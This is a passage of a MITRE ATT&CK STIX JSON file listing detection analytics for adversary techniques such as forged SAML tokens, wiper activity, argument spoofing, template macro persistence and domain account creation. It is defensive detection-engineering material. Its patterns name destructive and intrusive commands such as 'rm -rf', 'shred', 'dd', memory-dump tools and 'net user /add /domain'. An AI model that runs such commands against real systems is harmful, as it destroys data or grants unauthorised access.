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            "description": "If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "PRE"
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                    "name": "Internet Scan",
                    "channel": "None"
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            "name": "Analytic 1329",
            "description": "OAuth token granted to external app followed by download of high-volume files in OneDrive/Google Drive",
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            "x_mitre_domains": [
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                    "description": "Flag file downloads over X MB (e.g., >100MB) within short intervals"
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            "name": "Analytic 0450",
            "description": "Detect abnormal MFA activity within cloud service provider logs, such as repeated generation of MFA challenges for the same user session or mismatched MFA device and login origin.",
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            "description": "Hidden file system use through APFS containers or custom plist configuration. Defender view: anomalous use of hdiutil or diskutil to attach hidden partitions, modification of plist entries tied to system volumes, or suspicious raw disk access.",
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            "x_mitre_domains": [
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                    "field": "MonitoredPlistPaths",
                    "description": "Adjust to target only relevant plist files linked to volume mounting."
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            "x_mitre_version": "1.0",
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                    "field": "AuthUserPattern",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                },
                {
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                    "description": "Flag use of memory dump tools like gcore, gdb, pmap."
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            "x_mitre_deprecated": false
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            "name": "Analytic 0426",
            "description": "Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                {
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                {
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                    "name": "NSM:Flow",
                    "channel": "http.log"
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                    "field": "VMConfigAccessPathWatchlist",
                    "description": "Locations of VMX/CFG/SNAPSHOT files that should not be accessed by non-admin shells."
                },
                {
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                    "description": "Expected network protocols for guest and host interfaces."
                }
            ],
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            "description": "Monitors execution of administrative utilities (e.g., bcdedit.exe) or registry modifications that disable Driver Signature Enforcement (DSE) or enable Test Signing. Correlates command-line activity, registry changes, and subsequent process executions that bypass signing enforcement.",
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                    "description": "Expand or restrict monitored utilities (e.g., bcdedit.exe, reg.exe) based on enterprise usage"
                },
                {
                    "field": "RegistryPaths",
                    "description": "Customize registry paths tied to Driver Signing enforcement depending on OS version"
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                    "description": "Correlation window between registry modification and subsequent unsigned binary execution"
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            "name": "Analytic 1297",
            "description": "ESXi hosts initiating connections from non-standard daemons mimicking HTTP/HTTPS or SNMP traffic, but with irregular payload formats or expired/unsigned TLS certificates.",
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                    "channel": "TLS Fingerprint and Certificate Analysis"
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                    "description": "Allows matching against known-good or known-bad JA3/JA3S hashes."
                },
                {
                    "field": "AllowedServicePorts",
                    "description": "Tune for expected network ports per ESXi role."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0422",
            "description": "Forged SAML tokens may be leveraged to access O365 apps such as Outlook or SharePoint. Defenders should monitor for token replay across multiple clients or access attempts to privileged mailboxes without prior interactive login.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "m365:exchange",
                    "channel": "Mailbox access using SAML token without corresponding MFA event"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "m365:sharepoint",
                    "channel": "File access with forged or anomalous SAML claims"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ReplayDetectionThreshold",
                    "description": "Number of times a token is reused within short timeframe."
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            ],
            "x_mitre_deprecated": false
        },
        {
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0399#AN1120",
                    "external_id": "AN1120"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1120",
            "description": "LaunchAgent or launchd recurring jobs initiating data transfer to consistent external IPs or domains with repeat timing signatures.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc",
                    "name": "macos:launchd",
                    "channel": "launchd.plist and logs"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:unifiedlog",
                    "channel": "networkd or com.apple.network"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AgentPathPatterns",
                    "description": "Regex for job locations like ~/Library/LaunchAgents/"
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                {
                    "field": "RepeatIntervalDelta",
                    "description": "Time-based logic to determine schedule (e.g., ~24h \u00b1 5m)"
                },
                {
                    "field": "UserHomeJobs",
                    "description": "Transfers originating from non-admin user context"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0349#AN0992",
                    "external_id": "AN0992"
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            "name": "Analytic 0992",
            "description": "Detect suspicious file creations and process executions triggered by browser activity (e.g., injected payloads written to %AppData% or Temp directories, then executed). Correlate network anomalies with subsequent local process creation or script execution.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Unexpected script or binary content returned in HTTP response body"
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                    "field": "MonitoredExtensions",
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                    "field": "SuspiciousParentProcesses",
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                {
                    "field": "RedirectList",
                    "description": "List of suspicious domains or URLs used for malicious redirects."
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0412",
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            "description": "Massive recursive deletions or overwrites via `rm -rf`, `shred`, `dd`, or wiper binaries. May include unlink syscalls, deletion of known config/data paths, or sequential overwrite patterns.",
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                "enterprise-attack"
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                "Linux"
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                    "channel": "unlink, unlinkat, openat, write"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                    "field": "ExecutablePath",
                    "description": "Focus on binaries like shred, dd, wipe, custom wipers, or bash execution chains."
                },
                {
                    "field": "DeletedPathPattern",
                    "description": "Tune for critical mount points or home/data directories."
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                {
                    "field": "SyscallBurstRate",
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                    "source_name": "mitre-attack",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "Linux"
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                    "channel": "execve"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
                    "name": "auditd:SYSCALL",
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                {
                    "field": "ServicePathMatch",
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                    "field": "CronUserScope",
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                    "field": "UserDeletionActivity",
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                    "source_name": "mitre-attack",
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            "description": "Modification of user desktop backgrounds, login screen messages, or system banners by adversaries using admin privileges or script execution. May coincide with tampering in /Library/Desktop Pictures/ or use of AppleScript.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or desktopservices modified settings or files"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "macos:unifiedlog",
                    "channel": "osascript or AppleScript invocation modifying UI"
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                {
                    "field": "ScriptNames",
                    "description": "Uncommon scripts like AppleScript variants or osascript for wallpaper changes"
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                {
                    "field": "UserContext",
                    "description": "Normal users should not alter global visual settings"
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                    "source_name": "mitre-attack",
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            "description": "Detects processes performing network enumeration (e.g., port scans, service probing) by correlating process creation, socket connections, and sequential destination IP probing within a time window.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
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                {
                    "field": "ScanRateThreshold",
                    "description": "Defines the number of unique destination IPs or ports accessed within a time window that may indicate a scan."
                },
                {
                    "field": "KnownScannerExeList",
                    "description": "List of binaries allowed to scan or used by IT (e.g., Nmap, Nessus)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal bounds for correlating sequential connections (e.g., 60 seconds)."
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        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0265",
                    "external_id": "AN0265"
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            "name": "Analytic 0265",
            "description": "Account attribute changes (e.g., password set, group membership, servicePrincipalName, logon hours) correlated with unusual process lineage or timing, indicating privilege escalation or persistence via valid accounts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4738, 4728, 4670"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Time between suspicious process and account change (e.g., 5m)."
                },
                {
                    "field": "HighPrivilegeGroupList",
                    "description": "Customize group list (e.g., Domain Admins, Enterprise Admins) to monitor."
                },
                {
                    "field": "SubjectTargetMismatch",
                    "description": "Flag if account modifier != modified user (potential hijack)."
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--84ad99e5-4e6e-4d07-93ae-9e55e6f99707",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0045#AN0126",
                    "external_id": "AN0126"
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            "name": "Analytic 0126",
            "description": "Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior. Defender perspective: monitoring for processes launched in a suspended state, followed by memory modifications (e.g., WriteProcessMemory targeting the PEB) that overwrite arguments before execution resumes. Detection also includes observing anomalous behaviors from processes whose logged arguments do not align with executed activity (e.g., network connections, file writes, or registry modifications).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                    "field": "SuspendedProcessWindow",
                    "description": "Time window in which a process remains in suspended state before being modified. Tunable based on baseline activity in the environment."
                },
                {
                    "field": "SensitiveProcesses",
                    "description": "List of critical processes (e.g., explorer.exe, lsass.exe) where argument spoofing is highly suspicious. Can be customized per organization."
                },
                {
                    "field": "BehavioralCorrelationWindow",
                    "description": "Time span in which to correlate command-line inconsistencies with anomalous behavior such as network activity or registry modification."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1288"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1288",
            "description": "Execution of Microsoft-signed scripts (e.g., pubprn.vbs, installutil.exe, wscript.exe, cscript.exe) used to proxy execution of untrusted or external binaries. Behavior is detected through command-line process lineage, child process spawning, and unsigned payload execution from signed parent.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcessName",
                    "description": "Environment-specific paths to script interpreters like wscript.exe, cscript.exe, pubprn.vbs, or installutil.exe."
                },
                {
                    "field": "TimeWindow",
                    "description": "Time delta between signed script execution and suspicious child process creation."
                },
                {
                    "field": "ChildCommandLineRegex",
                    "description": "Regex pattern used to detect malicious payload execution (e.g., download cradle, PowerShell decode)."
                },
                {
                    "field": "SignedToUnsignedTransition",
                    "description": "Indicates whether the parent is signed by Microsoft but child is unsigned or unknown."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8581bca4-9d34-4c78-87f7-29244581d140",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0194#AN0558",
                    "external_id": "AN0558"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0558",
            "description": "Execution of control.exe or rundll32.exe with parameters pointing to CPL files, especially from non-standard directories or newly created files, followed by suspicious child process execution or registry modifications registering new Control Panel items.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=12"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CPLPathRegex",
                    "description": "Regex to match CPL file paths; tune to exclude legitimate CPLs in System32"
                },
                {
                    "field": "ParentProcessName",
                    "description": "Helps filter known parent processes that legitimately use control.exe"
                },
                {
                    "field": "NewFileTimeWindow",
                    "description": "Time delta between CPL file creation and execution to detect rapid execution of newly dropped files"
                },
                {
                    "field": "RegistryKeyAllowlist",
                    "description": "Whitelist of known good CPL registry entries"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8586fd06-9801-473e-8ea6-d3da0ec82267",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0536#AN1476",
                    "external_id": "AN1476"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1476",
            "description": "Detects anomalous wireless connections such as unexpected SSID associations, failed or repeated authentication attempts, and connections outside of known geofenced networks. Defenders should monitor wireless connection logs and event codes for network discovery, authentication, and association events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Microsoft-Windows-WLAN-AutoConfig",
                    "channel": "EventCode=8001, 8002, 8003"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4776, 4625"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "KnownSSIDList",
                    "description": "Defines approved Wi-Fi SSIDs for the environment; deviations may indicate malicious connection attempts."
                },
                {
                    "field": "GeoLocationContext",
                    "description": "Correlates expected physical location of systems with observed Wi-Fi connections to detect anomalies."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--85a20f4b-4171-4450-a34f-17725d44aad9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1454",
                    "external_id": "AN1454"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1454",
            "description": "Execution of system info utilities like `systemsetup`, `sw_vers`, `uname`, or `sysctl` by terminal or scripted processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log show --predicate 'process == <utility>'"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcess",
                    "description": "Determine if script or terminal executed the command."
                },
                {
                    "field": "FrequencyThreshold",
                    "description": "Number of discovery commands in a short window."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--85b4c967-56bc-4990-b3e2-7e40f3ef1852",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0519#AN1436",
                    "external_id": "AN1436"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1436",
            "description": "Adversaries inject VBA macros into Office templates such as Normal.dotm or Personal.xlsb or redirect Office template load path via registry key (GlobalDotName) to gain persistence. Template macros trigger execution of malicious code on application startup.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:Microsoft-Office-Alerts",
                    "channel": "Office application warning or alert on macro execution from template"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TemplatePath",
                    "description": "Path to Normal.dotm, Personal.xlsb, or Excel/Word startup templates may vary by Office version and user"
                },
                {
                    "field": "RegistryPath",
                    "description": "GlobalDotName or equivalent registry keys may differ across Office versions or deployments"
                },
                {
                    "field": "TimeWindow",
                    "description": "Office process creation and macro execution timing after system or user login"
                },
                {
                    "field": "UserContext",
                    "description": "May be scoped to high-value users or those with access to sensitive templates"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8601dbfa-8767-4328-8809-1930b53b5e31",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0277#AN0773",
                    "external_id": "AN0773"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0773",
            "description": "Detection of new admin or role assignment actions within Microsoft 365/O365 environments to elevate access for persistence or lateral movement.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "m365:unified",
                    "channel": "Add member to role, Set-Mailbox"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "OfficeRoleType",
                    "description": "Admin role type or application role granted"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time between initial login and privilege change"
                },
                {
                    "field": "ActionOrigin",
                    "description": "Was the role assignment local or via federated SSO account"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--86103b48-cd6d-447d-aef4-807e10355506",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0003#AN0006",
                    "external_id": "AN0006"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0006",
            "description": "Adversary uses built-in tools such as 'net user /add /domain' or PowerShell to create a domain user account. The behavior chain includes: (1) suspicious process execution on a domain controller followed by (2) user account creation event (Event ID 4720) on the same host.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4720"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Detection triggers when Event ID 4720 follows a suspicious process within 2 minutes."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Allow filtering of known admin tools vs adversarial misuse (e.g., net.exe, powershell.exe)."
                },
                {
                    "field": "UserContext",
                    "description": "Filter accounts with domain admin privileges creating new users vs standard helpdesk roles."
                },
                {
                    "field": "HostRole",
                    "description": "Restrict to only domain controller hosts to reduce noise from workstations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8619af40-05db-49a7-b7b8-476facfd4b2c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0835#AN1967",
                    "external_id": "AN1967"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1967",
            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--861ee805-c979-44c9-8b0c-86bd3a6f5872",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0124#AN0345",
                    "external_id": "AN0345"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0345",
